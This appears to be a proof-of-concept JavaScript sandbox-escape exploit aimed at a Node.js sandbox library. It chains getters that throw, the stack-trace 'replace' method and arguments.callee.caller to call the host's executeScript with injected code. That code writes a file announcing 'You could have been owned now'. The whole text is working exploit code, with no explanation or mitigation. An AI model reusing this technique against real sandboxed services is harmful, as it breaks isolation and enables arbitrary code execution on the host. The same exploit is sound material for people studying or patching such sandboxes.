exports.main = function() { var payload = "var fs = require('fs');fs.writeFileSync('owned.txt', 'You could have been owned now\\n');exports.api = {};"; var jsonPayload = JSON.stringify({source:";exports.main = function(){exit('ok')};", sourceAPI:payload}); var retVal = { f: {} }; retVal.__defineGetter__("f", function() { throw { stack: { replace: function() { var a = {}; a.__defineGetter__("stack", function() { // calls Sandbox.executeScript(connection, data) arguments.callee.caller(null, jsonPayload); }); throw a; } } }; }); exit(retVal); }